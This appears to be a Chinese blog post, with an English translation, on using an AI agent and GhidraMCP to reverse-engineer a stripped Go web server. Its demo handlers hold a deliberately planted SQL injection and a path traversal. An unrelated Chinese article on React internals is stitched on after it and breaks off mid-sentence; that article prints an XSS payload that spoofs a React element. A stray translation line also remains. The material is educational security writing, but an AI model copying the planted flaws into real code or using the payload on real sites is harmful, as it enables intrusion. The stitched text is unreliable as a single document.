但關於逆向工程這件事情，我是很陌生的。我只會把 binary 丟到 Ghidra 裡面，接著就什麼都不會了，我連搜尋字串都不會。

不過現在 AI agent 已經進化得很快了，只要工具運用得當，像我這種的逆向外行人，也能簡單靠 AI 做基礎的逆向工程，這篇就來記錄一下步驟。

先寫在前面，我拿到的跟這次示範的都是比較小的程式，如果是更大或更複雜的我也不知道能不能跑。我也不會覺得 AI 可以完全取代人原本需要做的部分，但鐵定能讓部分任務變得更輕鬆。

而像我這樣的外行人，原本能逆出的東西接近沒有，靠 AI 之後能給一些線索都好，就算是亂講的也有一些些參考價值，有總比沒有好嘛，亂講的我還能想辦法再去驗證。至於原本就會逆向的，我也不確定 AI 有沒有幫助，或者是他們會怎麼用，這個不在本篇的討論範圍。

環境準備

為了示範整體流程，先隨意讓 AI 寫了個有註冊、登入跟上傳檔案功能的 Golang server，檔案結構是：

.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads

內容的話，貼幾個最主要的檔案上來就好，一個是 route：

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := handlers.NewAuthHandler(db)  userHandler := handlers.NewUserHandler(db)  avatarHandler := handlers.NewAvatarHandler(db)  authMiddleware := middleware.AuthMiddleware(config.JWTSecret)  api := r.Group("/api")  {    // 公開端點    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)    // 需登入端點    api.GET("/users/:id", authMiddleware, userHandler.GetUserByID)    api.GET("/me/messages", authMiddleware, userHandler.GetMyMessages)    api.POST("/me/avatar", authMiddleware, avatarHandler.Upload)  }  return r}

再來是刻意埋的兩個漏洞，註冊時的 SQL injection：

package handlersimport (  "database/sql"  "fmt"  "net/http"  "time"  "github.com/gin-gonic/gin"  "github.com/golang-jwt/jwt/v5"  "membership-api/config"  "membership-api/middleware"  "membership-api/models")type RegisterRequest struct {  Username string `json:"username" binding:"required"`  Email    string `json:"email" binding:"required"`  Password string `json:"password" binding:"required"`}type LoginRequest struct {  Username string `json:"username" binding:"required"`  Password string `json:"password" binding:"required"`}type AuthHandler struct {  DB *sql.DB}func NewAuthHandler(db *sql.DB) *AuthHandler {  return &AuthHandler{DB: db}}func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  passwordHash, err := models.HashPassword(req.Password)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  // 刻意保留的 SQL injection 漏洞：使用字串拼接而非參數化查詢  query := fmt.Sprintf("INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')",    req.Username, req.Email, passwordHash)  _, err = h.DB.Exec(query)  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

以及上傳檔案時的 path traversal：

package handlersimport (  "database/sql"  "net/http"  "path/filepath"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/middleware")type AvatarHandler struct {  DB *sql.DB}func NewAvatarHandler(db *sql.DB) *AvatarHandler {  return &AvatarHandler{DB: db}}func (h *AvatarHandler) Upload(c *gin.Context) {  userID, ok := middleware.GetUserID(c)  if !ok {    c.JSON(http.StatusUnauthorized, gin.H{"error": "unauthorized"})    return  }  file, err := c.FormFile("avatar")  if err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "missing avatar file"})    return  }  // 刻意保留的 path traversal 漏洞：直接使用 file.Filename，未經 filepath.Clean 或 filepath.Base 過濾  // 攻擊者可上傳 filename="../../../etc/passwd" 等路徑穿越到系統其他位置  savePath := filepath.Join(config.UploadDir, file.Filename)  if err := c.SaveUploadedFile(file, savePath); err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})    return  }  // 更新 user 的 avatar_path  _, err = h.DB.Exec("UPDATE users SET avatar_path = ? WHERE id = ?", file.Filename, userID)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to update avatar"})    return  }  c.JSON(http.StatusOK, gin.H{"message": "avatar uploaded", "path": file.Filename})}

寫完之後呢，用這個指令去 build，把該拿的都拿掉，模擬更真實的情境：

CGO_ENABLED=0 go build -ldflags="-s -w" -trimpath -o dist/membership-api .

前置作業

因為我們的 binary 是 stripped 的，相關符號都被拿掉了，因此找個好用的 plugin 可以更方便幫我們還原 Golang 相關的東西，我選的是這個：https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension

在分析的時候記得把相關選項勾上：

分析完以後，在 Ghidra 中其實就能看到更詳細的資訊了：

但這樣也還是手動去看嘛，像我這種根本不會操作 Ghidra 的人，只會把 binary 丟進去而已，要我看我也不知道怎麼看。

因此我們再來裝個真正讓 AI 跟 Ghidra 搭上線的東西：GhidraMCP，這個有大概兩三個版本用的人好像都滿多，我就隨意挑了一個看起來文件寫得比較好，比較方便跑起來的。

裝好並且在 Ghidra 啟用之後，在 AI 那邊配置好 MCP，例如說我用的是 Cursor，就這樣配：

{  "mcpServers": {    "ghidra": {      "command": "python",      "args": [        "/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py",        "--ghidra-server",        "http://127.0.0.1:8080/"      ]    }  }}

到這一步為止，前置作業就準備好了。

話說我拿來示範的是 Cursor，但其實只要是 AI agent 都行，你用 codex、claude code、open code 什麼的都一樣，能接 MCP 就都可以。

開始使喚 AI agent 做事

接下來就是用嘴逆向的時候了，我就只是這樣先跟他講而已：

我現在正在逆向一個 golang 的 binary，請幫我使用 ghidra MCP 協助，幫我看一下他是什麼樣的程式，有哪些功能

他就會開始自己呼叫 MCP，搜尋他想要的東西：

最後給出了這個 binary 用到的 library：

以及 API 路由：

認證相關的邏輯：

還有推測出的檔案結構：

接著我就讓他根據推測出來的結構，幫我再把反編譯得到的 C 弄回去 Golang，他就列了幾個 todo 之後開始他的工作：

結果它逆向出來的 routes.go 長這樣：

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := &handlers.AuthHandler{DB: db}  userHandler := &handlers.UserHandler{DB: db}  avatarHandler := &handlers.AvatarHandler{DB: db, UploadPath: "uploads"}  // 公開路由 - 不需要認證  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)  }  // 需要認證的路由  apiAuth := r.Group("/api")  apiAuth.Use(middleware.AuthMiddleware())  {    apiAuth.GET("/users/:id", userHandler.GetUserByID)    apiAuth.GET("/my-messages", userHandler.GetMyMessages)    apiAuth.POST("/avatar", avatarHandler.Upload)  }  return r}

程式碼的結構跟原始的有些微不同，代表沒有作弊（？），話說我是讓他在不同 context 底下跑的，所以他確實是看不到原本的 Golang 原始碼沒錯。

總之，反推回來的程式碼清晰可讀，但有小部分錯誤，例如說 /my-messages 這個不存在，應該是 /me/messages 才對。/avatar 也應該是 /me/avatar，看來有部分地方應該被偷懶跳過了。

而註冊的地方則是這樣：

func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  hashedPassword, err := bcrypt.GenerateFromPassword([]byte(req.Password), 10)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := `INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`  _, err = h.DB.ExecContext(c.Request.Context(), query, req.Username, req.Email, string(hashedPassword))  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

原本故意留做 SQL injection 的地方，現在反倒被修好了，代表他逆向出來的是錯的。

不過檔案上傳的那個 path traversal 還在，而且他有輕鬆找出來：

上面的結果因為我額度快用完了，所以是用 Cursor 自己出的 composer 1.5 模型，沒這麼聰明。

我換成 Opus 4.6 以後，同樣的 prompt 它還原完成之後還順便幫我做了個資安檢查，該找的漏洞有找出來，只是 route 的部分依舊有錯，/me 變成了 /my，我以為這些應該是可以完整被還原的？

結語

得益於 AI agent 的進化外加 MCP 的機制，讓 agent 可以自由操作許多不同的軟體來幫助自動化。

老實說，我在逆向這件事情上有體驗到那些所謂的 vibe coder 在做產品時的喜悅，也就是：「沒想到不會寫 code 的我也可以弄出一個網站，雖然我不知道原理，但東西好像做出來了」。

但 vibe coding 會有許多不會寫 code 沒辦法發現的小問題，純靠 AI 逆向我想也是相同的。就像我一開始用 composer 1.5，出來的結果是錯的一樣。但換個方式想，整體流程跟 API endpoints 這些都是對的，也算是收穫不少了。

原本靠自己的話是 0 分，靠 AI 可以先拿到保底 60 分，怎麼想都很賺。

時代在進化，工具在進步，這篇想記錄一下自己靠著這些工具，用 AI agent 做簡單的逆向工程的流程。雖然說最後跑出來的結果還是有些許錯誤，但對於一個 web server 來說，拿到 binary 逆向之後得到的東西可以再結合動態測試去驗證，就算有點小錯誤，還是對於整體測試幫助很大。

這次跑完之後，我還是會覺得逆向工程很難，也還是覺得懂逆向的人很厲害。畢竟我這次跑的是小的 binary，大的我就不確定會怎樣了。

However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.

But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.

To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.

For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.

Environment Preparation

To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:

.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads

For the content, I’ll just paste a few of the main files. One is the route:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := handlers.NewAuthHandler(db)  userHandler := handlers.NewUserHandler(db)  avatarHandler := handlers.NewAvatarHandler(db)  authMiddleware := middleware.AuthMiddleware(config.JWTSecret)  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)    api.GET("/users/:id", authMiddleware, userHandler.GetUserByID)    api.GET("/me/messages", authMiddleware, userHandler.GetMyMessages)    api.POST("/me/avatar", authMiddleware, avatarHandler.Upload)  }  return r}

Next are the two intentionally embedded vulnerabilities: SQL injection during registration:

package handlersimport (  "database/sql"  "fmt"  "net/http"  "time"  "github.com/gin-gonic/gin"  "github.com/golang-jwt/jwt/v5"  "membership-api/config"  "membership-api/middleware"  "membership-api/models")type RegisterRequest struct {  Username string `json:"username" binding:"required"`  Email    string `json:"email" binding:"required"`  Password string `json:"password" binding:"required"`}type LoginRequest struct {  Username string `json:"username" binding:"required"`  Password string `json:"password" binding:"required"`}type AuthHandler struct {  DB *sql.DB}func NewAuthHandler(db *sql.DB) *AuthHandler {  return &AuthHandler{DB: db}}func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  passwordHash, err := models.HashPassword(req.Password)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := fmt.Sprintf("INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')",    req.Username, req.Email, passwordHash)  _, err = h.DB.Exec(query)  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

And path traversal during file upload:

package handlersimport (  "database/sql"  "net/http"  "path/filepath"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/middleware")type AvatarHandler struct {  DB *sql.DB}func NewAvatarHandler(db *sql.DB) *AvatarHandler {  return &AvatarHandler{DB: db}}func (h *AvatarHandler) Upload(c *gin.Context) {  userID, ok := middleware.GetUserID(c)  if !ok {    c.JSON(http.StatusUnauthorized, gin.H{"error": "unauthorized"})    return  }  file, err := c.FormFile("avatar")  if err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "missing avatar file"})    return  }  savePath := filepath.Join(config.UploadDir, file.Filename)  if err := c.SaveUploadedFile(file, savePath); err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to save file"})    return  }  _, err = h.DB.Exec("UPDATE users SET avatar_path = ? WHERE id = ?", file.Filename, userID)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to update avatar"})    return  }  c.JSON(http.StatusOK, gin.H{"message": "avatar uploaded", "path": file.Filename})}

After writing it, I used this command to build it, removing everything that shouldn’t be there to simulate a more realistic scenario:

CGO_ENABLED=0 go build -ldflags="-s -w" -trimpath -o dist/membership-api .

Preliminary Work

Since our binary is stripped, all related symbols have been removed. Therefore, finding a useful plugin can help us restore Golang-related information more conveniently. I chose this one: https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension

When analyzing, remember to check the relevant options:

After the analysis, you can actually see more detailed information in Ghidra:

But this still requires manual inspection. For someone like me who doesn’t know how to operate Ghidra, I just throw the binary in and don’t know how to look at it.

So, we need to install something that truly connects AI with Ghidra: GhidraMCP. There seem to be about two or three versions that many people use, so I randomly picked one that looked like it had better documentation and was easier to run.

After installation and enabling it in Ghidra, configure MCP on the AI side. For example, I’m using Cursor, so I set it up like this:

{  "mcpServers": {    "ghidra": {      "command": "python",      "args": [        "/app/GhidraMCP-release-1-4/bridge_mcp_ghidra.py",        "--ghidra-server",        "http://127.0.0.1:8080/"      ]    }  }}

Up to this point, the preliminary work is ready.

By the way, I used Cursor for demonstration, but actually, any AI agent will do. Whether you use Codex, Claude Code, Open Code, or whatever, as long as it can connect to MCP, it’s fine.

Start Commanding the AI Agent to Work

Next, it’s time to reverse engineer using my words. I just told it this:

I am currently reverse engineering a Golang binary. Please help me use Ghidra MCP to assist and let me know what kind of program it is and what functions it has.

It will start calling MCP by itself and searching for what it wants:

Here is the translated content:

Finally, here are the libraries used by this binary:

And the API routes:

And the inferred file structure:

Next, I let it help me convert the decompiled C back to Golang based on the inferred structure. It listed a few todos and then started its work:

As a result, the routes.go it reverse-engineered looks like this:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := &handlers.AuthHandler{DB: db}  userHandler := &handlers.UserHandler{DB: db}  avatarHandler := &handlers.AvatarHandler{DB: db, UploadPath: "uploads"}  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)  }  apiAuth := r.Group("/api")  apiAuth.Use(middleware.AuthMiddleware())  {    apiAuth.GET("/users/:id", userHandler.GetUserByID)    apiAuth.GET("/my-messages", userHandler.GetMyMessages)    apiAuth.POST("/avatar", avatarHandler.Upload)  }  return r}

The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.

In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, /my-messages does not exist; it should be /me/messages. /avatar should also be /me/avatar. It seems some parts were skipped lazily.

The registration part looks like this:

func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  hashedPassword, err := bcrypt.GenerateFromPassword([]byte(req.Password), 10)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := `INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`  _, err = h.DB.ExecContext(c.Request.Context(), query, req.Username, req.Email, string(hashedPassword))  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.

However, the path traversal vulnerability during file upload still exists, and it was easily identified:

The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.

After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; /me became /my. I thought these should be completely restored?

Conclusion

Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.

Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”

However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.

Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.

The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.

After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.

我覺得從這些開源專案的程式碼中學一些新的概念滿有趣的，畢竟這些很多人用的框架通常碰過的 bug 也越多，學到這些問題的解法以後，也可以再回去反思以前自己學過的東西。

這篇分成三個小章節：

1. React 舊版的 XSS
2. 從 React Fiber 學習 event loop
3. 從 V8 bug 學習底層運作

開頭先聲明一下，雖然標題叫做「從 React 中學習 JavaScript 底層運作」，只有最後一個比較底層，第一個更是與底層沒什麼關係。只是我沒想到比這個更好的標題，因此就用這個了。

React 舊版的 XSS 漏洞

請問底下這段程式碼有什麼資安問題？

function Test() {  const name = qs.parse(location.search).name;  return (    <div className="text-red">      <h1>{name}</h1>    </div>  )}

看一看好像沒什麼問題？不就 render 一個 name 嗎，在 React 裡面會自動做 encode，所以就算插入一個 <img> 也不會被當作標籤解析，而是會被轉換成純文字，看起來沒問題。

若是我們繼續把這段程式碼展開，從 JSX 變成 JavaScript，大概會類似於這樣：

function Test() {  const name = qs.parse(location.search).name;  return createElement(    'div',    { className: 'text-red' },    createElement(      'h1',      {},      name    )  )}

JSX 語法會在 compile 的時候變回 JavaScript，舊版會用 React.createElement，新版改成 _jsx 了，但不管 API 長怎樣，總之就是一段建立 element 的 JavaScript。

而這些 function 執行完以後就會產生所謂的 virtual DOM，再次展開成 object 的話會類似於：

function Test() {  const name = qs.parse(location.search).name;  return ({    type: 'div',    props: {      className: 'text-red',      children: {        type: 'h1',        props: {          children: name        }      }    }  })}

而 React 在 render 的時候，就會根據這個 object 去 render，並且展示出我們所傳入的 name。

但問題來了，像是 qs 這種 library，其實是支援物件的，例如說 ?name[test]=1，name 會變成 {"test": 1}，因此這個 name 雖然你怎麼看都應該是字串，但實際上可以是個物件。

儘管通常傳物件會被 React 擋掉，但你有沒有想過這些 component 其實也是個物件？那 React 是怎麼決定一個 object 到底是不是 component 的呢？

在舊版的 React 中，這個檢查非常簡單：

ReactElement.isValidElement = function(object) {  return !!(    typeof object === 'object' &&    object !== null &&    'type' in object &&    'props' in object  )}

只要有 type 有 props，就把它看作是一個 React component。因此，如果我們的 name 是底下這樣，就會被當作是 React component 被渲染出來：

{  type: "div",  props: {    dangerouslySetInnerHTML: {      __html: "<img src=x onerror=alert()>"    }  }}

如此一來，就成功利用了這個特性，假裝是 React component 並且 render 出任意的 HTML，構造出了一個 XSS 漏洞。

這個漏洞最早在 2015 年時被 Daniel LeCheminan 發現，還寫了一篇文章：XSS via a spoofed React element，不過原文的情境稍微不同就是了。

總之呢，這個問題被 React 關注到，開了一個 issue 進行討論：How Much XSS Vulnerability Protection is React Responsible For? #3473，而最後的 fix 在這：Use a Symbol to tag every ReactElement #4832。

解法就是：Symbol。

在 React component 上加了一個 $$typeof: Symbol.for('react.element')，並且在 isValidElement 的檢查中也把這個判斷加上，就能確保其他物件沒辦法偽造出一個 React component。

背後的原理就是 symbol 的特性，與一般的物件不一樣，symbol 就只會跟同一個 symbol 相等，而 JSON 反序列化是不支援 symbol 的，所以你只能創造出普通的物件，沒辦法做出一個 symbol，自然就偽造不了 component 了。

以後有人問你 symbol 可以用在哪裡的時候，可以拿這個案例去回答。

另外，其實除了前端，後端也是一樣的，例如說 JavaScript 的 ORM：Sequelize 舊版本的 operator 也是用字串，例如說：

Post.findAll({  where: {    authorId: {      '$or': [12, 13]    }  }});

但從 v5 開始就全部換成 symbol 了，已經棄用了原本的字串：

const { Op } = require('sequelize');Post.findAll({  where: {    authorId: {      [Op.or]: [12, 13]    }  }});// operators.tsexport const Op: OpTypes = {  eq: Symbol.for('eq'),  ne: Symbol.for('ne'),  gte: Symbol.for('gte'),  or: Symbol.for('or'),  // [...]}

背後原因相同，都是資安上的考量，當初的 PR 在這裡：Secure operators #8240。

話說直播的時候有人問，那如果你可以創造出一個 symbol，是不是這些防禦就沒用了？答案是：沒錯。但通常你要能做出 symbol，要嘛你已經可以執行程式碼了，要嘛開發者要自己加一個可以建立 symbol 的 deserializer，這兩個的達成難度都滿高的。

從 React Fiber 學習 event loop

2018 年的時候我寫過一篇 React fiber 相關的文章：淺談 React Fiber 及其對 lifecycles 造成的影響，而這個機制一語道破其實就是：「把同步的大 task 切成多個非同步的小 task」，藉此來避開阻塞 main thread。

那在 JavaScript 裡面，該怎麼來實作這個機制呢？要怎麼安排這些非同步的 task 呢？

React 16.0.0 - requestIdleCallback

在最早的 React 16.0.0 版本中，是用瀏覽器內建的 API：requestIdleCallback 來做的，MDN 的描述是：

The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.

window.requestIdleCallback() 方法會插入一個函式，並在瀏覽器處於閒置時呼叫該函式。這讓開發者能在主事件迴圈中執行背景或低優先度的工作，而不會影響到像動畫或使用者輸入回應這類對延遲敏感的事件。

把原本大的 task 切成小的 task 以後，用 requestIdleCallback 來安排下一個 task，讓瀏覽器在空閒的時候執行，就能不阻礙到 main thread。

React 16.4.0 - requestAnimationFrame + postMessage

但是在 React 16.4.0 時，被換成了另一種結合 requestAnimationFrame（以下簡稱 rAF） 跟 postMessage 的方式（這個方式其實一開始是做為沒有 requestIdleCallback 時的替代方案，但在這個版本被扶正，直接取代掉了 requestIdleCallback）。

在這個機制中，會建立兩種類型的 callback，一個是利用 rAF 安排的 callback，由瀏覽器自動觸發，而另一個則是用 window.addEventListener('message', fn) 安排的 callback，透過 window.postMessage 來觸發。

這個機制實際運作的方式是這樣的，底下每一個 tick 代表一次的 event loop，我們先安排一個 rAF，在裡面計算下次 rAF 應該觸發的時間（就是當前時間 + frame 長度(如 16ms)）：

接著在裡面再次呼叫 rAF 還有 postMessage，安排下一次 tick 的 callback：

下一步是 browser render，結束之後進入下一個 tick，然後 message handler 被觸發：

由於剛剛已經計算過下次 rAF 應該被觸發的時間，所以 message handler 可以趁著這段時間（可能有個 5ms 或更長） 做事，在時間到之前不斷執行小的 task。

執行完以後 rAF 會再次觸發，做跟剛剛一樣的事情，安排下一個 tick 的 callback，然後 browser render，結束這個 tick：

這樣的流程不斷執行下去，就是整個非同步 task 的任務安排機制了，簡單來講就是：

1. 在 rAF 裡面算出有多少時間可以執行 task 而不干擾 render
2. 在 message handler 中盡量執行任務

在 React 原始碼中，rAF 會被叫做 Animation Tick，而 message handler 叫做 Idle Tick。

那為什麼要用 postMessage 跟 message handler 呢？原因是如果用 setTimeout(fn, 0) 的話，有個經典的 4ms 限制，如果你不斷利用 setTimeout 來安排 task，在重複遞迴安排幾次之後，最短的執行間隔就會變成 4ms，不論你 interval 設多少都一樣。

而 postMessage 跟 message handler 則沒有這個限制，因此就選了這個。

但是用 message handler 有個缺點，那就是目前的使用方式是 window.addEventListener('message', fn)，因此每次安排 task 時都必須使用 window.postMessage，若是頁面上有別的 listener，就會一直一直被觸發。

像是有些擴充套件可能會印出所有收到的 message 來幫助 debug，可能每 30ms 左右就會收到一個，log 直接被打爆。像這樣有 side-effect 的行為顯然不是什麼好事，會干擾到其他的實作。

React 16.7.0 - requestAnimationFrame + MessageChannel

所以從 React 16.7.0 開始，就把這段改用 MessageChannel 來做了，這是另一個可以實作訊息交換的 Web API，用法跟原本的其實很像，只是多了個 port 的概念：

// DOM and Worker environments.// We prefer MessageChannel because of the 4ms setTimeout clamping.const channel = new MessageChannel();const port = channel.port2;channel.port1.onmessage = performWorkUntilDeadline;schedulePerformWorkUntilDeadline = () => {  port.postMessage(null);};

在程式碼的註解中也可以看到為什麼 React 不用 setTimeout，跟我剛剛講的理由是一樣的，加上這個改動的 PR 在這：[scheduler] Post to MessageChannel instead of window #14234。

看起來好像就是這樣了？這個機制滿合理的，透過兩種不同類型的非同步 task 做不同的事情，並且在不干擾到 render 的前提下盡量做事。

React 16.12.0 - MessageChannel

但是，在 React 16.12.0 時，機制又變了一次，把 rAF 也拿掉了，只留下 MessageChannel 而已，每次執行最多 5ms：

那為什麼要換成這個機制呢？有兩個地方有說明，第一個是 16.12.0 裡的程式碼：

// Scheduler periodically yields in case there is other work on the main// thread, like user events. By default, it yields multiple times per frame.// It does not attempt to align with frame boundaries, since most tasks don't// need to be frame aligned; for those that do, use requestAnimationFrame.let yieldInterval = 5;

翻中文是：

調度器會定期讓出執行權，以便主執行緒上若有其他工作（例如使用者事件）能夠被處理。預設情況下，它在每一幀中會讓出多次。它不會嘗試與畫面更新（frame）邊界對齊，因為大多數任務不需要與畫面對齊；若是需要對齊畫面更新，請使用 requestAnimationFrame。

大意就是因為任務不需要跟畫面 render 對齊，所以就不管 render 了，反正就是一直讓出去。

第二個説明則是在 Concurrency / time-slicing by default #21662 這個 issue 中，有人問說 scheduler 是不是還在用 requestIdleCallback 時，dan 哥的留言：

No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.
不行，那個（機制）觸發得太晚，會浪費 CPU 時間。對我們的使用情境來說，盡可能充分利用 CPU 非常重要，而不是等到某個閒置時間才開始做事。所以我們改成自己寫一個每 5ms 就讓出一次的循環。

解惑了為什麼一開始把 requestIdleCallback 淘汰掉，因為觸發的太晚了。

那現在最新的 v19.2.0 版本的實作又是如何呢？

從程式碼中可以看出來，基本上就是上面那一套機制了，沒有太多改變，一樣是用 MessageChannel 安排 task，然後每隔一段時間讓出去。

不遠的未來：原生 Scheduler API

其實 Scheduler 這東西不止 React，只要需要非同步安排任務的都會用到。因此，瀏覽器其實有提供原生的 Scheduler API，只是很新所以支援度不太好，但可以預見在未來可能不需要自己寫一套了，用瀏覽器原生給的會是最好的。

事實上，React 現在就有用這個實作一套了，但還是 unstable 的狀態：SchedulerPostTask.js，原生直接支援安排不同優先順序的任務，比自己寫方便多了。

總之，從 React 對於安排非同步任務的程式碼中，可以學到幾個不同函式觸發的時機以及頻率的差別，也可以從這幾次的機制變動中，去了解為什麼 React 做出了這樣的選擇，讓我們更了解這些非同步的細節差異。

從 V8 bug 學習底層運作

延續剛剛講的 React fiber，在程式碼中有一段 profiler 相關的部分：

if (enableProfilerTimer) {  this.actualDuration = -0;  this.actualStartTime = -1.1;  this.selfBaseDuration = -0;  this.treeBaseDuration = -0;}

問題來了，為什麼這邊的初始值是 -0 而不是 0？這兩個有什麼差異呢？

甚至在舊一點的版本中，還先賦值成 NaN 才變成 0，這又是什麼魔法？

if (enableProfilerTimer) {    this.actualDuration = Number.NaN;  this.actualStartTime = Number.NaN;  this.selfBaseDuration = Number.NaN;  this.treeBaseDuration = Number.NaN;    this.actualDuration = 0;  this.actualStartTime = -1;  this.selfBaseDuration = 0;  this.treeBaseDuration = 0;}

這一切都跟 V8 底層的運作以及一個 bug 有關。

針對這件事情，其實 V8 自己有一篇部落格文章：The story of a V8 performance cliff in React，裡面講的已經很好了，麻煩自己去讀這篇文章，或是跟 AI 一起看，我就不再重複一次，底下只講結論跟重點。

首先，儘管我們都知道在 JavaScript 的規格中，所有的數字都是 double，但是 JavaScript 引擎在實作時可不一定，畢竟如果真的每個數字都存成 64bit 的 double，既會有空間問題也有效能問題，整數做加減也會是浮點數運算，誰受得了。

因此，在 V8 引擎中，其實數字還是有分兩種，一種是 32bit 的 int 叫做 small integer，簡稱 Smi，而另外一種就真的是浮點數了，叫做 HeapNumber，兩種存的位置是不同的，浮點數要存到 heap 去。

而為了幫 object 做一些優化，因此 object 在儲存時，會關聯到一個叫 shape 的東西，類似於 object 的 metadata，來存每個值的 type 以及 offset，同樣 interface 的 object 會共享同一個 shape。

在 object value 的型別改變時，這個 shape 也會一起跟著變，例如說從 Smi 變成 double，就會產生一個新的 shape。

而 V8 的這個 bug 簡單來講就是在 React profiler 中一開始會把某些值初始化成 0，型別是 Smi，接著用 Object.preventExtensions 來阻止新增新的屬性，然後把這個值改成浮點數（performance.now() 的回傳值）。

